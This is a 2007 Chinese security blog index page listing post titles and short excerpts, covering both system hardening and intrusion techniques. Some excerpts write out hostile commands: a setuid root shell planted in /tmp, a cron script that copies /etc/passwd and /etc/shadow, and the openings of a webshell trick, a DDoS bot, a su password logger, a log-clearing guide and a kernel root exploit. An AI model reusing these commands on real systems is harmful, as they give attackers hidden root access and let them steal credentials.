linkboy的博客_信息安全管理,网络安全技术,程序代码原创(4)

EMOS 1.2 的功能扩展（第三部分）

EMOS 1.2 的功能扩展（第二部分），主要是安装 MailScanner ，Spamassassin ，以及所需要的其他模块程序。其中主要程序的版本为： SpamAssassin-3.1.8 MailScanner-4.58.9-1 1）下载已经制作好的一体化安装包。注意：安装包中的安装脚本会先将 EMOS 1.2 中已安装好的 amavisd-new ，clam

职场

功能

休闲

EMOS

原创 2007-12-14 20:46:00 702 阅读

EMOS 1.2 的功能扩展（第一部分）

1）安装 EMOS 1.2 版本，注意事项：因后面我们需要安装 spambreaker 过滤器，因此在安装系统语言支持的时候，需要将中文简体，中文繁体，以及英文语言都选择并安装上。如下图： 2）安装 McAfee for Linux 软件 EMOS 系统自带的邮件病毒检测软件为 clamav ，在这里，我们将用 McAfee 来替换。将系统自启动项中的 clamav 去除

职场

功能

休闲

EMOS

原创 2007-12-14 20:45:00 799 阅读

CentOS 4.4 及 Linux 下最常用最有效的安全设置

CentOS 4.4 及 Linux 下最常用最有效的安全设置 1、 CentOS或Red Had Enterprise Linux 4 的用户要首先要打开SElinux，方法是修改/etc/selinux/config文件中的SELINUX="" 为enforcing 。它可以保证你的系统不会非正常的崩溃。有些人认为应该关闭，我强烈不推荐，当然只是将centos用来玩玩，不

Linux

职场

设置

休闲

CentOS

原创 2007-12-14 20:44:00 691 阅读

iptables 指令详解中文

iptables 指令　　语法：　　iptables [-t table] command [match] [-j target/jump] 　　-t 参数用来指定规则表，内建的规则表有三个，分别是：nat、mangle 和 filter，当未指定规则表时，则一律视为是 filter。　　个规则表的功能如下：　　nat 此规则表拥有 Prerouting 和 postr

指令

iptables

中文

休闲

详解

原创 2007-12-14 13:48:00 1349 阅读

PhpMyAdmin 入侵

google 搜索 Runtime Information inurl:phpmyadmin 1.如何拿到登陆密码. 自己想办法 2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径. 3.选择一个Database.运行以下语句. ----start code--- Create TABLE a (c

职场

PhpMyAdmin

休闲

原创 2007-12-12 21:10:00 1401 阅读

Discuz!6.0后台拿shell

我记得以前看过这个资料，千翻万找总算翻了出来。　　这个前提是可以编辑模板，不然我估计是没什么希望了。　　templates/default/actions.lang.php(以这个为例) 　　在最底那提交　　游客\');?> 　　　　\'g\'=>\'sdfsdf 　　便能写入一句话木马并正常执行.

职场

shell

后台

休闲

Discuz

原创 2007-12-08 15:38:00 1914 阅读

关于Linux系统上 SU命令的几点安全建议

　首先我们看su在man帮助页中的解释su - run a shell with substitute user and group IDs, 也就是说通过su我们不用提供用户和组名就可以启动一个shell程序. su是一个二进制的可执行文件, 命令所在的文件路径是/bin/su, 下面是通过命令行查询su文件的类型及所在路径: 　　例一: 　　islab$ which su 　　/b

命令

Linux

系统

建议

休闲

原创 2007-12-05 21:26:00 502 阅读

通过设定OpenSSH账户登录　避免恶意攻击

前面我们讨论了如何《保护SSH免受强力口令破解攻击》。今天继续讨论如何限制用户的登录。OpenSSH包括许多用途广泛的并且十分流行的程序。无论是作为客户端或服务器，其广泛性和SSH的实用性，无疑都使SSH成为一些公共的攻击目标。由此导致的结果是，人们开发了许多工具用以对付一些常见的强力攻击企图。　　然而，这些攻击不仅仅会转换为一种恼人的东西，更是一种对日志文件空间的浪费。对于刚开始对付这种攻

攻击

账户

登录

恶意

OpenSSH

原创 2007-12-05 21:12:00 609 阅读

用vbs 实现U盘大盗

前几天在网上流浪发现了一个东东——U盘大盗看看他的说明：原理很简单就是每隔一段时间探测有没有新的设备然后…… 直觉告诉我用vbs可能更简单 -------------------------------------------------------------------------------------------------

职场

U盘

休闲

vbs

原创 2007-12-03 11:59:00 1304 阅读

Linux下用gdb检测内核rootkit

导读：　　本文涉及的技术原理都不是新的,对研究人员没什么特别大的价值, 　　不过对工程人员应急相应来说不失为一种新的方法. 　　【理解攻击向量】　　前面两段废话直接掠过...实在浪费感情-_-! 　　内核rookit通常以系统调用为攻击目标,主要出于两个原因: 　　a.在内核态劫持系统调用能以较小的代价控制整个系统,不必修太多东西; 　　b.应用层大多数函数是一个或

Linux

rootkit

检测

内核

gdb

原创 2007-12-01 20:22:00 906 阅读

安全经验：10大方法减少内部人员安全风险

如今内部人员给公司的安全造成的威胁非同小可。近来的一些报告指出，内部人员对公司的损害在所有的危害事件中已从80%上升为86%,而且超过半数发生在雇员的终端。无疑，拥有访问公司系统权限的内部雇员极有可能被误导到那些欺诈性的或危险的链接上。而在所有的雇员中，IT工作人员拥有的这种访问权限最多。因此，IT审核应关注从多个方面确认风险。下面我们给出实施有关控制和减少工作人员对管理员欺诈的方法。　　1

职场

经验

风险

休闲

原创 2007-12-01 20:20:00 354 阅读

微软：惊现5年前漏洞(美国以外)

导读：　　美联社消息：一个5年前的bug重现Windows，这个bug存在于美国以外的视窗电脑上。这个bug在新西兰Kiwicon黑客大会上得以证实，利用这个bug黑客可以通过一组简单的攻击，就可以控制世界范围内大量的家用和商用电脑。　　Butler指出在仅拥有400万人口新西兰大约有160000台电脑存在这个漏洞，除了岛上的绵羊和水果不使用电脑外，这个数目触目惊心。　　详细的漏

微软

职场

漏洞

美国

休闲

原创 2007-11-28 11:36:00 362 阅读

终端服务器超出最大允许连接数的解决办法

服务器终端服务器超出最大允许连接数时，以前考虑用冷启动服务器，但这样必须跑一趟机房，最近发现最好的办法就是在“运行”命令行里输入：mstsc /console /v:你的服务器IP:远程端口，测试有效。

职场

解决

办法

休闲

终端服务器

原创 2007-11-25 18:30:00 683 阅读

通用密码后门

其实这些东西我很早就做出来用了，而且效果还不错，目前没有一个管理员发现。　　以下程序只在winxpsp2中文版上测试　　 #include 　　#include 　　#include "windows.h" 　　#include "wincrypt.h"

密码

职场

休闲

后门

原创 2007-11-25 13:01:00 1065 阅读

意外拿下jsp服务器

　首先声明这篇文章完全没有技术含量,我也想过到底要不要发到原创,但是觉得除了发原创也真不知道发哪里好了,所以最好还是发这里来了.发这篇文章是因为自己从来没有遇到过这种情况,虽说这里都是高手,但也难免有几个可能会没有遇到过的,所以拿出来和大家探讨一下. 　　昨天晚上一个校内网友给我一个地址(http://10.13.31.123:8888/manager/html/list)问我有啥用,我访问了

职场

服务器

jsp

休闲

意外

原创 2007-11-11 12:47:00 492 阅读

Linux安全检查方法

检查系统密码文件,查看文件修改日期　　[root@fedora ~]# ls -l /etc/passwd 　　查看passwd文件中有哪些特权用户　　[root@fedora ~]# awk -F: '$3==0 {print $1}' /etc/passwd 　　查看系统里有没有空口令帐户　　awk -F: 'length($2)==0 {print $1}' /et

Linux

职场

休闲

安全检查

原创 2007-11-08 17:34:00 453 阅读

发一个终点文学的0DAY

放我这好长时间了当初好象是小乐B给俺的拿到以后以为能是个很好的0day 结果太不好利用　　只能cookie注射小JB志研究了一会告诉俺只能cookie 我又本地架设了一个确实是只能用cookie注射来猜密码确实能猜出来　　本地架设的知道表名猜的也快~ 再放着好张毛了扔出来玩吧好多小说网站用的这套程序~ 抓包数据如下　　POST /adurl.asp HTTP/1.

职场

休闲

文学

终点

原创 2007-11-08 11:01:00 740 阅读

展望2008年后11大IT技术的发展方向

从现实产品中我们看到的也许只是现在的技术世界和技术明显，然而技术的日新月异又促使我们不得不放眼未来，准确把握未来的技术趋势，将很大程度上影响到明天的IT体验和IT效率。所以在圈点2007技术世界之前，我们首先要将目光投向未来。对2008年开始的其后5年的技术世界进行了梳理，提炼出了以下的11大技术方向，它们将以不同的方式、不同的速度走进我们身边的技术世界。因此您要在它们到来之前，认识它们并思

职场

技术

发展

展望

休闲

原创 2007-11-05 20:44:00 540 阅读

展望2008年后11大IT技术的发展方向

从现实产品中我们看到的也许只是现在的技术世界和技术明显，然而技术的日新月异又促使我们不得不放眼未来，准确把握未来的技术趋势，将很大程度上影响到明天的IT体验和IT效率。所以在圈点2007技术世界之前，我们首先要将目光投向未来。对2008年开始的其后5年的技术世界进行了梳理，提炼出了以下的11大技术方向，它们将以不同的方式、不同的速度走进我们身边的技术世界。因此您要在它们到来之前，认识它们并思

职场

技术

发展

展望

休闲

原创 2007-11-05 20:44:00 327 阅读

动易网站管理系统vote.asp页面存在SQL注入漏洞

动易网站管理系统vote.asp页面存在SQL注入漏洞　　测试系统：　　动易(PowerEasy CMS SP6 071030以下版本）　　安全综述：　　动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品。　　漏洞描述：　　vote.asp调用了动易组件PE_Site.ShowVote，此组件VoteOptio

asp

SQL

漏洞

vote

网站管理系统

原创 2007-11-03 20:29:00 4898 阅读

iis与apache共用80端口问题方法集

为调试程序，本机安装iis与apache，无法同时使用80端口，现给出解决方法　　IIS5，多IP下共存，IIS为192.168.0.1，apache为192.168.0.2原文地址　　c:\Inetpub\Adminscripts 　　cscript adsutil.vbs set w3svc/disablesocketpooling true 　　该命令反馈如下disabl

职场

apache

端口

iis

休闲

原创 2007-11-01 11:53:00 640 阅读

关于win2003+iis6服务器设置排错集锦及其他

很多朋友在用IIS6架网站的时候遇到不少问题，以下是在所知的2003iis碰见的一些问题，只要对着症状处理。服务器一定可以使用的。问题1：未启用父路径症状举例： Server.MapPath() 错误 'ASP 0175 : 80004005' 不允许的 Path 字符 /0709/dqyllhsub/news/OpenDatabase.asp，行 4 在 MapPath 的

职场

设置

服务器

休闲

集锦

原创 2007-10-29 09:20:00 1258 阅读

利用BCB自己打造QQ×××

注：本文已发表在2007年《黑客防线》第10期，版权归《黑客防线》所有。俗话说的好啊：不会编程的黑客就不是好黑客（我会编程，但我也不是黑客，因为我是个——程序员，哈哈）。今天呢我们就来亲自动手打造一个专属于自己的小工具。我们要做的是一个QQ炸弹，这年头用QQ的人实在多。这林子大了可是什么鸟都有，当然其实我们今天做这个工具的威力并不是很大，顶多只能和好友聊天的时候骚扰

职场

休闲

BCB

炸弹

原创 2007-10-25 17:40:00 1283 阅读

PHP DDoS Bot源码

<?php /* PHP ddos bot Version 1.0 */ $server="1.3.3.7"; $Port="6667"; $nick="bot-";$willekeurig;

PHP

DDoS

休闲

源码

Bot

原创 2007-10-25 17:38:00 1306 阅读

符合SEO标准的div+css页面参考

下面的部分是著名设计师阿捷发表的div+css三行两列网页参考，星箭在此基础上做了小小的改动，以前乐思蜀也对阿捷的这个经典布局案例进行过修改，将左右代码互换，达到主体内容显示在前更方便搜索引擎抓取分析页面最重要内容的SEO目的，星箭也对阿捷的这个案例进行一番简单修改，主要是将左右代码互换，加入了h1,h2标签，对文字列表使用<li>等。符合SEO标准的div+css页面参考

css

div

SEO

休闲

页面

原创 2007-09-16 09:47:00 396 阅读

linux下记录su密码的代码

/* * kpr-fakesu.c V0.9beta167 ;P * by koper <koper@linuxmail.org> * * Setting up:

linux

密码

代码

记录

休闲

原创 2007-08-31 11:15:00 1962 阅读

日志的清除

由于涉及的系统广泛的问题，不可能将所有unix类系统的日志说清楚，但它们大多是差不多的，下面我只用常见的sunos & redhat做介绍．其它的系统请查看相关资料． unix系统日志文件通常是存放在"/var/log　and /var/adm"目录下的。通常我们可以查看syslog.conf来看看日志配置的情况．如：cat /etc/syslog.conf 其中s

职场

日志

休闲

原创 2007-08-08 16:38:00 1081 阅读

suid shell

在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个，就会轻易得到根用户权限。　　　　#cp /bin/ksh /tmp/.sh 　　　　#chown root:root /tmp/.sh 　　　　#chmod +s /tmp/.sh 　　　　当你运行/tmp/.sh时，　　　　这里我们用ksh shell是因为ksh 可以suid.换成其

职场

shell

休闲

suid

原创 2007-08-08 16:32:00 1355 阅读

不死帐号 11：40复活，13：10 自杀

#!/bin/bash echo '40 11 * * * cat /etc/passwd > /dev/linkpwd' > /etc/t.cron; echo '40 11 * * * cat /etc/shadow > /dev/linkshw' >> /etc/t.cron; echo '41 11 * * * echo "link:x:0:0

职场

帐号

自杀

休闲

复活

原创 2007-07-17 13:38:00 325 阅读

Linux Kernel 2.6x 本地溢出代码今天测试了一下，效果不错

/*****************************************************/ /* Local r00t Exploit for:

Linux

代码

Kernel

效果

休闲

原创 2007-07-17 12:57:00 688 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy

EMOS 1.2 的功能扩展（第三部分）

EMOS 1.2 的功能扩展（第一部分）

CentOS 4.4 及 Linux 下最常用最有效的安全设置

iptables 指令详解中文

PhpMyAdmin 入侵

Discuz!6.0后台拿shell

关于Linux系统上 SU命令的几点安全建议

通过设定OpenSSH账户登录　避免恶意攻击

用vbs 实现U盘大盗

Linux下用gdb检测内核rootkit

安全经验：10大方法减少内部人员安全风险

微软：惊现5年前漏洞(美国以外)

终端服务器超出最大允许连接数的解决办法

通用密码后门

意外拿下jsp服务器

Linux安全检查方法

发一个终点文学的0DAY

展望2008年后11大IT技术的发展方向

展望2008年后11大IT技术的发展方向

动易网站管理系统vote.asp页面存在SQL注入漏洞

iis与apache共用80端口问题方法集

关于win2003+iis6服务器设置排错集锦及其他

利用BCB自己打造QQ×××

PHP DDoS Bot源码

符合SEO标准的div+css页面参考

linux下记录su密码的代码

日志的清除

suid shell

不死帐号 11：40复活，13：10 自杀

Linux Kernel 2.6x 本地溢出代码今天测试了一下，效果不错

欢迎